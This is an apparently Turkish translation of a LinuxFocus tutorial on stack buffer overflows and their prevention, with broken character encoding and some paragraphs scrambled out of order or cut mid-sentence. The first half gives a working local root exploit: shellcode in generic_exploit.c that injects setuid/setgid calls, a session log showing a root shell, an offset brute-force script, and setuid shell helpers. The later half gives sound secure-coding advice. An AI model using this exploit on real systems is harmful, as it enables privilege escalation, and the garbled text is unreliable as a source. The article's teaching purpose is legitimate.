|
|
| Bu makalenin farkl� dillerde bulundu�u adresler: English Castellano Deutsch Francais Nederlands Portugues Russian Turkce |
taraf�ndan Frédéric Raynal, Christophe Blaess, Christophe Grenier Yazar hakk�nda: Christophe Blaess ba��ms�z bir havac�l�k m�hendisi.O bir Linux merakl�s� ve bir�ok i�ini bu sistem yard�m�yla yap�yor.Linux D�k�mantasyon Projesi taraf�ndan yay�nlanan ki�isel sayfalar�n �evirisinin organizasyonunu yap�yor. Chritophe Grenier ESIEA'da be� y�ld�r ��renci ve ayn� zamanda burada sistem y�neticisi olarak �al���yor.Bilgisayar g�venli�ine kar�� bir tutkusu var. Frédéric Raynal bir�ok senedir Linux kullan�yorlar ��nk� o kirletmiyor, hormonlar� kullanm�yor, ne GMO ne de hayvansal ya�...sadece ter ve oyunlar. ��erik: |
�zet:
Bu yaz� "buffer overflows" giri� yaz�lar�n�n sonuncusu. G�velik a��klar� ve s�ras�nda bunlar�n nas�l olu�tu�u anlat�l�yor.
Bir �nceki makalemizde,kabuk �al��t�rabilen ve herhangi bir hata an�nda sistemden ��k�� yapabilen 50 byte l�k k���k bir program yazd�k.�imdi bu kodu program� �al��t�rmak istedi�imiz yere yerle�tirece�iz.Bu kodda,fonksiyonun geri d�n�� adresi ile i�lem s�ras�nda otomatik de�i�ken ta�mas�na sebep olan bizim kabuk adresimiz yerde�i�tirildi.
�rne�in,a�a��daki programda ilk arguman olarak verilen a��klama sat�r�ndaki katar�,
500 byte l�k belle�e kopyalad�k.Bu kopya, yerle�tirilen bellek alan� kontrol edilmeden yap�ld�.
Daha sonra da g�rece�imiz gibi strncpy() fonksiyonu bu problemden kurtulmam�z�
sa�layacak.
/* vulnerable.c */
#include <string.h>
int main(int argc, char * argv [])
{
char buffer [500];
if (argc > 1)
strcpy(buffer, argv[1]);
return (0);
}
buffer otomatik bir de�i�kendir,bo�luk 500  sat�r� ile olu�turulmu�tur;
main() fonksiyonunu girer girmez bellekteki yer korunacakt�r.
vulnerable program�n� 500 karakterden fazla olmayan karakterlerle
�al��t�rd���m�zda,bellekte veri ta�mas� olacak ve i�lemde bir m�cadele ya�anacakt�r.
�nceden de g�rd���m�z gibi, bu ta�ma, (aka return address)' i �al��t�racak bir
sonraki bilginin adresini tutacakt�r.
Bu g�venlik �ukurunu �nlemek i�in �al��t�rmak istedi�imiz kabuk kodu adresi ile fonksiyon
adresini yerde�i�tirmek yeterli olacakt�r.Bu kabuk kodu haf�zada kendisinden sonra adresi
gelecek �ekilde ana belle�e yerle�tirilir.
Kabuk kodunun haf�zadaki adresini elde etmek olduk�a zordur.Kabuk kodu adresi ile ta�may�
tutan %esp kayd� aras�ndaki ge�i�i ara�t�rmak gerekir.Biraz g�venli�i sa�lamak i�in
bellekteki alan�n ba�lang�c�, NOP bilgi toplulu�u ile doldurulmal�d�r; bu,bir
byte'l�k, hi�bir yerde bir etkisi olmayan tarafs�z bilgidir.B�ylece,kabuk kodunun
do�ru ba�lang�c�ndan �nce ba�lang�� adresi i�aret edilecektir.Daha fazla �ansa sahip olmak i�in
kabuk kodunu sonuna kadar tekrar eden ve NOP blo�u ile olu�turulan ba�lang�� adresi
izleyecek �ekilde, belle�in ortas�na yerle�tiririz. �ekil 1,belle�in
yarat�l�m�n� g�sterecektir.
Bununla birlikte,ba�ka de�i�ken atama ile ilgili ba�ka bir problem daha vard�r.
�e�itli byte'larda stoklanan bir adres her zaman uyumlu olmayabilir.
Bu,do�ru atamay� bulana kadar deneme yaparak ��z�lebilir.4 byte l�k i�lemciler kullan�lmaya
ba�land���ndan beri,atamalar 0,1,2 veya 3 byte l�k olabilmektedirler. ( makale 183 e bak�n.).
�ekil 2, de gri b�l�mler 4 byte'l�k k�s�mlar� g�stermektedir.
�lk durumda,gerid�n�� adresi tekrar yaz�ld���nda sadece biri �al��acakt�r.
Di�erleri, segmentation violation veya illegal instruction hatalar�n�
verecektir.Bu deneysel yol,bu �e�it bir testi uygulamam�za olanak veren bug�n�n
bilgisayarlar�n�n ��kt��� zamandan beri en iyiyi bulan yoldur.
�imdi,haf�zada ta�man�n oldu�u yere g�ndermekle zarar g�rebilen bir program yazaca��z. Bu program,kabuk kodunu haf�zaya yerle�tiren ve �al��acak program� se�en �e�itli se�eneklere sahiptir.Bu versiyonu ,Aleph One'�n EM>phrack 49 say�l� makalesinden esinlenilerek Christophe Grenier '�n g�rsely�resinden al�nm��t�r.
Uygulama alan�na haz�r bellek alan�m�z� nas�l g�nderece�iz?
Genellikle,vulnerable.c veya �evre de�i�kendeki gibi komut sat�r� parametresi
kullanabilirsiniz.
Ta�ma,kullan�c� taraf�ndan yaz�lan,�al��mas� zor, veya dosyadan okumas� zor, sat�rlar ile
olu�acakt�r.
generic_exploit.c program�,do�ru boyuttaki bellek alan�n� ay�rmak ile ba�lar,
sonra kabuk kodunu oraya kopyalar ve onu adreslerle ve yukarda a��klanan NOP kodlar� ile
doldurur.
Daha sonra arguman dizisi haz�rlar ve execve() bilgisini kullanarak etiket
uygulamas�n� �al��t�r�r,daha �nce �a�r�lm�� ile yerde�i�tirme i�lemi son yerde�i�tirmedir.
generic_exploit parametleri �nlem i�in (adresi geri �a��rmak i�in biraz daha fazla
bellek alan�) olu�turulan bellek alanlar�,haf�za ge�i�i ve atamad�r.�unu belirtmeliyiz ki
bellek alan� hem �evre de�i�kenden(var) hem de a��klama sat�r�ndan
(novar) ge�mektedir.
force/noforce arguman�,kabuk kodundan setuid()/setgid() fonksiyonuna
�a�r�l�ma izin verir(veya vermez).
/* generic_exploit.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
"\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff";
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
#define A_BSIZE 1
#define A_OFFSET 2
#define A_ALIGN 3
#define A_VAR 4
#define A_FORCE 5
#define A_PROG2RUN 6
#define A_TARGET 7
#define A_ARG 8
int main(int argc, char *argv[])
{
char *buff, *ptr;
char **args;
long addr;
int offset, bsize;
int i,j,n;
struct stat stat_struct;
int align;
if(argc < A_ARG)
{
printf("USAGE: %s bsize offset align (var / novar)
(force/noforce) prog2run target param\n",argv[0]);
return -1;
}
if(stat(argv[A_TARGET],&stat_struct))
{
printf("\nCannot stat %s\n", argv[A_TARGET]);
return 1;
}
bsize = atoi(argv[A_BSIZE]);
offset = atoi(argv[A_OFFSET]);
align = atoi(argv[A_ALIGN]);
if(!(buff = malloc(bsize)))
{
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() + offset;
printf("bsize %d, offset %d\n", bsize, offset);
printf("Using address: 0lx%lx\n", addr);
for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr;
for(i = 0; i < bsize/2; i++) buff[i] = NOP;
ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4]));
if(strcmp(argv[A_FORCE],"force")==0)
{
if(S_ISUID&stat_struct.st_mode)
{
printf("uid %d\n", stat_struct.st_uid);
*(ptr++)= 0x31; /* xorl %eax,%eax */
*(ptr++)= 0xc0;
*(ptr++)= 0x31; /* xorl %ebx,%ebx */
*(ptr++)= 0xdb;
if(stat_struct.st_uid & 0xFF)
{
*(ptr++)= 0xb3; /* movb $0x??,%bl */
*(ptr++)= stat_struct.st_uid;
}
if(stat_struct.st_uid & 0xFF00)
{
*(ptr++)= 0xb7; /* movb $0x??,%bh */
*(ptr++)= stat_struct.st_uid;
}
*(ptr++)= 0xb0; /* movb $0x17,%al */
*(ptr++)= 0x17;
*(ptr++)= 0xcd; /* int $0x80 */
*(ptr++)= 0x80;
}
if(S_ISGID&stat_struct.st_mode)
{
printf("gid %d\n", stat_struct.st_gid);
*(ptr++)= 0x31; /* xorl %eax,%eax */
*(ptr++)= 0xc0;
*(ptr++)= 0x31; /* xorl %ebx,%ebx */
*(ptr++)= 0xdb;
if(stat_struct.st_gid & 0xFF)
{
*(ptr++)= 0xb3; /* movb $0x??,%bl */
*(ptr++)= stat_struct.st_gid;
}
if(stat_struct.st_gid & 0xFF00)
{
*(ptr++)= 0xb7; /* movb $0x??,%bh */
*(ptr++)= stat_struct.st_gid;
}
*(ptr++)= 0xb0; /* movb $0x2e,%al */
*(ptr++)= 0x2e;
*(ptr++)= 0xcd; /* int $0x80 */
*(ptr++)= 0x80;
}
}
/* Patch shellcode */
n=strlen(argv[A_PROG2RUN]);
shellcode[13] = shellcode[23] = n + 5;
shellcode[5] = shellcode[20] = n + 1;
shellcode[10] = n;
for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
/* Copy prog2run */
printf("Shellcode will start %s\n", argv[A_PROG2RUN]);
memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN]));
buff[bsize - 1] = '\0';
args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3));
j=0;
for(i = A_TARGET; i < argc; i++)
args[j++] = argv[i];
if(strcmp(argv[A_VAR],"novar")==0)
{
args[j++]=buff;
args[j++]=NULL;
return execve(args[0],args,NULL);
}
else
{
setenv(argv[A_VAR],buff,1);
args[j++]=NULL;
return execv(args[0],args);
}
}
vulnerable.c dan fayda sa�lamak i�in,uygulama taraf�ndan belirlenmi�
bellek alan�ndan daha fazlas�n� elde etmeliyiz.�rne�in 500 byte yerine 600 byte'� tercih
etmeliyiz.Ta�man�n oldu�u yeri saptamak i�in ba�ar�l� testler yap�l�r.addr = get_sp() +
offset; bilgisi ile yap�lanan adres,adres geri �a�r�m�n�n tekrar yaz�lmas�n� sa�lar,
tabi bunun i�in biraz �ansa gereksinimi vard�r...!
Bu i�lem %esp kayd�n�n varolan i�lem s�ras�nda fazla hareket etmeyece�ini ve
program sonuna birinin �a�r�laca��n� destekler.
Pratik olarak,hi�bir�ey kesin de�ildir: �e�itli olaylar hesaplaman�n yap�ld��� zamandan
bellekte ta�man�n oldu�u zamana de�i�tirilebilir.
Burada,-1900 byte l�k eksiltme ile ta�may� engellemeyi ba�ard�k.Elbette ,bu deneyimi
tamamlamak i�in, vulnerable etiketi Set-UID root olmal�d�r.
$ cc vulnerable.c -o vulnerable $ cc generic_exploit.c -o generic_exploit $ su Password: # chown root.root vulnerable # chmod u+s vulnerable # exit $ ls -l vulnerable -rws--x--x 1 root root 11732 Dec 5 15:50 vulnerable $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable bsize 600, offset -1900 Using address: 0lxbffffe54 Shellcode will start /bin/sh bash# id uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users) bash# exit $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable bsize 600, offset -1900 Using address: 0lxbffffe64 uid 0 Shellcode will start /bin/sh bash# id uid=0(root) gid=100(users) groups=100(users) bash# exit�lk olarak,(
noforce) bizim uid de�i�mez.Bunun yan�nda
bize olnaklar sa�layan yeni euid e sahibiz.
B�ylece, /etc/passwd dosyas�n� vi edit�r� ile yazarken,
dosya sadece okunabilir olsa bile t�m de�i�iklikler �al��acakt�r: w! yazarak
bunu hen�z sa�layabilirsiniz:)
force parametresi sistemin ba�lamas�ndan uid=euid=0 a izin
verecektir.
K���k bir kabuk program� kullanmak,ta�maya sebep olan ge�i� de�erlerini otomatik olarak bulmay� kolayla�t�r�r.
#! /bin/sh
# find_exploit.sh
BUFFER=600
OFFSET=$BUFFER
OFFSET_MAX=2000
while [ $OFFSET -lt $OFFSET_MAX ] ; do
echo "Offset = $OFFSET"
./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable
OFFSET=$(($OFFSET + 4))
done
Bu ba�ar�,potansiyel atama problemlerinin ��z�m�ne bizi g�t�rmez.Daha sonra,sizin i�in
ayn� de�erler ile bu �rne�i �al��t�rmak veya sadece atamadan dolay� �al��mamas�
m�mk�n olur.(B�t�n bunlar, test etmeyi gerektirir,atama parametresi 1,2 veya 3'e (burda 0)
de�i�tirilmelidir. Baz� sistemler haf�za alan�na yazmay� kabul etmez,fakat bu Linux'da
ge�erli de�ildir.)
Maalesef,bazen olu�turulmu� kabuk kendi i�inde sonlanana kadar veya a�k� tu�a basana kadar kullan�lamaz.Bunun anlam� baz� kolayl�klara zor ula��labildi�idir.
/* set_run_shell.c */
#include <unistd.h>
#include <sys/stat.h>
int main()
{
chown ("/tmp/run_shell", geteuid(), getegid());
chmod ("/tmp/run_shell", 06755);
return 0;
}
Bu i�in �stesinden gelebildi�imiz zamandan beri, run_shell program�,
set_run_shell program�n�n yard�m� ile kolayl�klar� elde edebiliriz.
Daha sonra bir kabu�a gereksinimimiz olacakt�r.
/* run_shell.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main()
{
setuid(geteuid());
setgid(getegid());
execl("/tmp/shell","shell","-i",0);
exit (0);
}
-i se�ene�i interactive'e uyumludur.Peki neden
kolayl�klar� direk kabu�a aktarmayal�m? ��nk� s bit'i her kabuk
i�in elveri�li de�ildir.Son s�r�mleri, "uid" in "euid" ile e�it oldu�unu
g�stermektedir. "gid" ile "egid" i�in de ayn� �ey s�zkonusudur.
B�ylece,bash2 ve tcsh koruma sat�r�n� kapsamaktad�rlar.
fakat ne bash ne de ash bu sat�r� kapsamamaktad�rlar.
Bu y�ntem,run_shell'nin bulundu�u (burada, /tmp) ve
nosuid veya noexec'e ili�iklendi�i yerde
b�l�mleme oldu�u zaman tasfiye edilmelidir.
Bir ta�man�n oldu�u Set-UID program�na kaynak kodu ile birlikte sahip oldu�umuzdan beri, dosya sahibinin ID si alt�nda keyfi kod �al��t�r�lmas�na kar�� bir tepki haz�rlayabildik. Bununla birlikte, ilk gol�m�z g�venlik �ukurlar�n� �nlemekti.Sonra haf�zadaki ta�malar� �nlemek i�in birtak�m kurallar� inceledik.
�lk kural,iyi bir izlenim uyand�r�yor: indexler dikkatli bir �ekilde taranmas� gereken dizileri i�lemek i�in kullan�l�yor."clumsy" d�ng�s� :
for (i = 0; i <= n; i ++) {
table [i] = ...
bir ihtimalle hata i�eriyor.Hatan�n sebebi < n�n yerine
<= i�aretinin kullan�lmas�d�r.B�yle bir d�ng�y� taramak kolay olsayd�,
s�f�r�n alt�na inmeden indexleri azaltmak bu d�ng� ile �ok zor olacakt�.
for(i=0; i<n ; i++) s�f�r durumdan ayr� olarak,algoritman�n kullan�ld���
farkl� zamanlar� �zellikle d�ng�n�n ba�lad��� yerleri kontrol etmek zorunday�z.
(Hatta birine sizin i�in bu denetimi yapabilir mi diye sorun)
Ayn� �e�it problem karakter dizileri(katarlar) da bulundu : son null karakter i�in bir byte daha eklemeyi d���nmek zorundas�n�z.Bunu unutamak ,en s�k kar��la��lan hatalardan biridir ve de�i�ken atamalar�ndan dolay� gizli kald��� i�in hatay� bulmak da zordur.
Dizi indexleri eksik hesaplanmamal�d�r.G�rd�k ki bir byte l�k ta�ma g�venlik �ukuru yaratmaya yeterlidir (Phrack konu 55'e bak�n), �evre de�i�kene kabuk kodu yerle�tirmek, �rne�in,
#define BUFFER_SIZE 128
void foo(void) {
char buffer[BUFFER_SIZE+1];
/* end of string */
buffer[BUFFER_SIZE] = '\0';
for (i = 0; i<BUFFER_SIZE; i++)
buffer[i] = ...
}
strcpy(3) fonksiyonu,hedef katar�
null byte'� i�eren orjinal katara kopayalar.Baz� durumlarda , bu davran�� tehlike yarat�r;
a�a��daki kodun g�venlik �ukuru olu�turdu�unu g�rd�k:
#define LG_IDENT 128
int fonction (const char * name)
{
char identity [LG_IDENT];
strcpy (identity, name);
...
}
Bu tip bir problemden ka��nmak i�in s�n�rl� uzunlu�a sahip fonksiyonlar vard�r.
Bu fonksiyonlar�n,adlar�n�n ortalar�nda `n' yazar.�rne�in,
strcpy(3) yerine strncpy(3) fonksiyonu,
strcat(3) yerine strncat(3) fonksiyonu,
hatta strlen(3) yerine strlen(3) fonksiyonu.
Bununla birlikte,
A��k�as�,kopyalamak i�in byte say�s�n� kontrol edince bunun pek �nemi kalmaz.
B�yle bir BIND(Berkeley Internet Name Daemon)'daki b�yle bir bo�luk sisteme zarar veren
insanlar� me�gul edecektir:
Her�eyden �nce,bu,karakter dizisinin yazma y�ntemleri ile ilgilidir.Yani,
C++ � kullanarak
Okunana veri iki basama�a sahiptir.
�lk a�ama,karakter dizinin haf�za alan�n�n�n boyutunu s�n�rlayan
Do�rudan veri yaz�l�m�n�n sadece sald�rgan giri� noktalar� olmaz.Yaz�l�m veri dosyalar�
zedelenebilir,fakat onlara okumalar� i�in yaz�lan kod yazmalar� i�in yaz�lan koddan genellikle
daha g��l�d�r.Programc�lar,sezgisel olarak,i�eri�i kullan�c� taraf�ndan korunan
dosyalara g�ven duymazlar.
Bellek alan�ndaki ta�malar genellikle ��yle bir �eye dayanmaktad�r:�evresel karakter dizileri.
Bir programc�n�n,ba�lamadan �nce �evresel i�lemi d�zenldi�ini unutmamal�y�z.Al�nan kararlara
g�re,�evresel karakter dizisi "
B�yle filtreler, bir bilgisayar �retiliyormu� gibi yap�l�r: her�eyi yasaklamak ilk kurald�r!
Sonra baz� �eylere izin verilir:
Bellek alan�ndaki ta�malar, tekrar yazmay� i�eren k�sma(ta�man�n oldu�u k�s�m) g�venir
sanki fonksiyonun adresini geri g�nderiyormu� gibi.Etki otomatik veri ile ilgilidir,sadece
o k�sm�n i�inde tahsis edilmi�tir.Bu problemi kald�rman�n bir yolu,o k�s�mda sa�lanan
karakter tablolar�n� heap'de bulunan dinamik de�i�kenler ile yerde�i�tirmektir.
Bunu yapmak i�in,s�ras� ile �unlar� yerde�i�tirmek gerekir:
Son olarak,baz� durumlarda,g�venlik �ukurunu ba�tan kolayca defetmek,haf�za bildiriminden
�nce
2001-08-03, generated by lfparser version 2.17strncpy(3) s�n�rlamas� ile dikkatli olmal�s�n�z.Farkl� etkiler
yaratabilir: kaynak katar� hedeflenenden az olunca, n s�n�r�na kadar null karakterler
ile tamamlanacakt�r.Bu da yeterli performans� sa�lamaz.Bunun yan�nda,e�er fazla olursa,null
karakter ile sonlanmayacakt�r,siwcscpy(3) yerine wcsncpy(3) � tercih etmek
veya wcscat(3) yerine wcsncat(3)'� tercih ederek b�y�k karakterleri
kullanma y�ntemine uygulanabilir.B�yelce program daha da b�y�yecek fakat
g�venlik olacakt�r.
strcpy() gibi strcat(3) da haf�za boyutunu kontrol etmez.
strncat(3) fonksiyonu,uygun yer bulursa karakter dizisinin sonuna bir
karakter ekler.strcat(buffer1, buffer2); �
strncat(buffer1, buffer2, sizeof(buffer1)-1); ile yerde�i�tirmek,riski
azaltmak i�in yeterlidir.
sprintf() fonksiyonu formatlanm�� veriyi diziye kopyalamaya izin verir.
Bu fonksiyon,karakter numaralar�n� hedef katara( "\0" karakterini saymadan) g�nderir.
G�nderdi�i de�erleri test etmek,katara,de�erlerin do�ru eklenip eklenmedi�ini bilmemizi
sa�lar:
if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) {
/* Overflow */
...
}
struct hosten *hp;
unsigned long address;
...
/* copy of an address */
memcpy(&address, hp->h_addr_list[0], hp->h_length);
...
Bu, herzaman 4 byte kopyalamaya izin verecektir.Bunun yan�nda,e�er
hp->h_length'i de�i�tirebilecekseniz,alan� belirleyebileceksinizdir.
Fakat kopayalamadan �nce veri uzunlu�unu kontrol etmek zorunludur:
struct hosten *hp;
unsigned long address;
...
/* test */
if (hp->h_length > sizeof(address))
return 0;
/* copy of an address */
memcpy(&address, hp->h_addr_list[0], hp->h_length);
...
Baz� durumlarda bu yolun(isim,URL,kaynak yolu) geri kalan�n� atmak,ve programda,veri
yaz�l�r yaz�lmaz erken yap�lmal�d�rlar.
Veriyi �ki Ad�mda Olu�turmak
Programda di�er kullan�c�ya g�re �zellikli olarak �al��mak i�in kendini koruma davran���,gelen
t�m ��pheli verileri incelemekte etkilidir.
gets(char *chaine)'unu karakter katar�n�n uzunlu�u
kontrol edilmeden asla kullanmamal�s�n�z(Yazar notu: bu y�ntem,ili�iklendirilen
edit�r taraf�ndan yasaklanmal�d�r).
Daha tehlikeli riskler scanf()'de gizlenmi�tir.
scanf ("%s", string)
sat�r�,�rne�in gets(char *chaine) kadar tehlikeli fakat �ok a��k de�ildir.
Bununla birlikte ,scanf() ailesinden fonksiyonlar veri boyutunun kontrol�n�
tercih ederler:
char buffer[256];
scanf("%255s", buffer);
Bu y�ntemde, buffer 'a kopyalanan karakter say�s�, 255 ile s�n�rl�d�r.
Di�er bir tarafdan,scanf() in karakterleri yerle�tirmesi geldi�i yere
geri g�ndermesi anlam�na gelmemektedir,(�rne�in,bir �ekil i�in bekleyen bir karakter),
program hatalar�n�n yaratt��� kitleme riskleri olduk�a b�y�kt�r.
cin ak��� C de kullan�lan (hatta hala kulan�l�yor)
klasik fonksiyonlar ile yerde�i�tirir.A�a��daki program haf�zay� doldurur:
char buffer[500];
cin>>buffer;
Sizin de g�rd���n�z gibi,test edilmemi�tir! gets(char *chaine) de oldu�u
durumun ayn�s�,C'yi kullan�rken : kap� olduk�a a��k.ios::width()'in �yesi olan
fonksiyon,karakterleri, okunmas� i�in en �st say� ile e�le�tirir.
fgets(char *chaine, int taille, FILE stream) ile
olmas� konusunda �srar etmektedir.Sonra okunan veri silinir,�rne�in sscanf() ile.
�lk a�ama bundan daha fazlas�n� da yapabilir,�rne�in;fgets(char *chaine, int
taille, FILE stream) i,istenilen haf�zay�,keyfi s�n�r koymadan otomatik olarak
sa�layan d�ng�n�n i�ine yerle�tirmektedir. GNU uzant�s� getline() bunu sizin
i�in yapabilir.isalnum(), isprint(), vb. leri kullanarak yaz�lmas�
onaylanan karakterleri i�ermesi de m�mk�nd�r.strspn() fonksiyonu etkili bir
s�zmeye m�sade eder.Program biraz daha yava� olur,fakat b�ylece kodun duyarl� b�l�mleri
tehlikeli veriye kar�� kur�un ge�irmez bir yelek ile korunur.
NAME=VALUE" yaz�l�m�n�n bir par�as� olmal� ve
k�t� ama�l� kullan�c�lar�n �n�nde kullan��s�z olmal�.
getenv() y�ntemini kullanmak dikkat gerektirir.�zellikle bu bir karakter
dizisinin uzunlu�unu(olduk�a uzun) ve i�eri�ini (`=' i�eri�inde herhangi
bir karakter bulabilirsinz) geri d�nd�r�yorsa.getenv() taraf�ndan geri
d�nd�r�len karakter dizisi, uzunlu�u ve bir karakterin arkas�ndan di�erinin
geldi�ini dikkate alarak fgets(char *chaine, int taille, FILE stream)
taraf�ndan �retilenlerden biri gibi yarat�lacakt�r.
#define GOOD "abcdefghijklmnopqrstuvwxyz\
BCDEFGHIJKLMNOPQRSTUVWXYZ\
1234567890_"
char *my_getenv(char *var) {
char *data, *ptr
/* Getting the data */
data = getenv(var);
/* Filtering
Rem : obviously the replacement character must be
in the list of the allowed ones !!!
*/
for (ptr = data; *(ptr += strspn(ptr, GOOD));)
*ptr = '_';
return data;
}
strspn() fonksiyonu bunu kolayla�t�r�r: ilk karakter gibi g�r�n�r,�zel bir bo�lu�a
sahip bir karakter gibi de�il.Sadece ger�e karakterleri tutarak karakter dizisi uzunlu�unu
geri g�nderir(0 dan ba�layarak).Yasaklana karakterlerin belirtildi�inden ve hi�birinin yaz�da
bulunmad��� kontrol edildi�inden beri strcspn fonksiyonun kar�� bir fonksiyon
oldu�unu unutmamak gerekir.
D�namik Bellek Alan� Kullan�m�
#define LG_STRING 128
int fonction (...)
{
char chaine [LG_STRING];
...
return (result);
}
with :
#define LG_STRING 128
int fonction (...)
{
char *string = NULL;
if ((string = malloc (LG_STRING)) == NULL)
return (-1);
memset(string,'\0',LG_STRING);
[...]
free (string);
return (result);
}
Bu sat�rlar, kodu fazla �retir ve haf�za s�z�nt�lar� meydana getirir,fakat,yakla��m� azaltmak
ve s�n�r uzunluk d�erlerini zorlamay� engellemek i�in bu de�i�ikliklerin avantaj�na
sahip olmal�y�z.alloca() fonksiyonu ile daha kolay bir yol kullanmak ile
ayn� sonucu vermeyece�ini d���n�n.Bu,ta�man�n oldu�u yerde son olarak bir veri tahsis edecektir
ve otomatik de�i�kenlerdeki gibi ayn� problemi do�uracakt�r.memset() ile haf�zay�
0' almak, ba�a al�nmam�� de�i�kenler de��kenlerin kullan�m� ile ilgili baz� problemlerden
sak�nmaya izin verecektir.B�t�n bunlar,konuyu "Heap overflows from w00w00" konulu makaleye
ta��yacakt�r.
static a�k� s�zc���n� yerle�tirmek ile m�mk�nd�r.Bu,i�lem y���n�ndan
uzak veri b�l�m�nde sa�lanmu�t�r.Kabu�a sahip olmak imkans�zd�r fakat DoS problemi
hala mevcuttur.Tabii ki,y�ntem tekrarlan�rsa bu �al��maz.Bu "ila�",fazla kod de�i�tirmeye gerek
kalmadan acil gereksinim durumunda g�venlik �ukuruna ge�ici bir ��z�m olmal�d�r.
Sonu�
Umar�z,bellekte ta�man�n bu anlat�m�,sizin daha g�venli programlar yazman�z� sa�layacakt�r.Ta�ma
tekni�i mekanizmay� iyi anlamay� gerektiriyorsa,genel prensip ba�ar�labilir.Di�er yandan,
gerekenleri yerine getirmek zor de�ildir.Unutmay�n�z ki,daha sonra kabul edilir bir zamanda
g�venlik program� yazmak daha h�zl� olacakt�r.Buna, format bugs konulu bir sonraki
makalemizde de�inece�iz.
�li�iklendirmeler
Bu yaz� i�in g�r�� bildiriminde bulunabilirsiniz
Her yaz� kendi g�r�� bildirim sayfas�na sahiptir. Bu sayfaya yorumlar�n�z� yazabilir ve di�er okuyucular�n yorumlar�na bakabilirsiniz.
talkback page
G�rsely�re sayfalar�n�n bak�m�, LinuxFocus Edit�rleri taraf�ndan yap�lmaktad�r
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL
LinuxFocus.org
Buray� klikleyerek hatalar� rapor edebilir ya da yorumlar�n�z� LinuxFocus'a g�nderebilirsiniz
�eviri bilgisi:
fr
->
--
Frédéric Raynal, Christophe Blaess, Christophe Grenier
fr
->
en
Georges Tarbouriech
en
->
tr
Nur Mumcuo�lu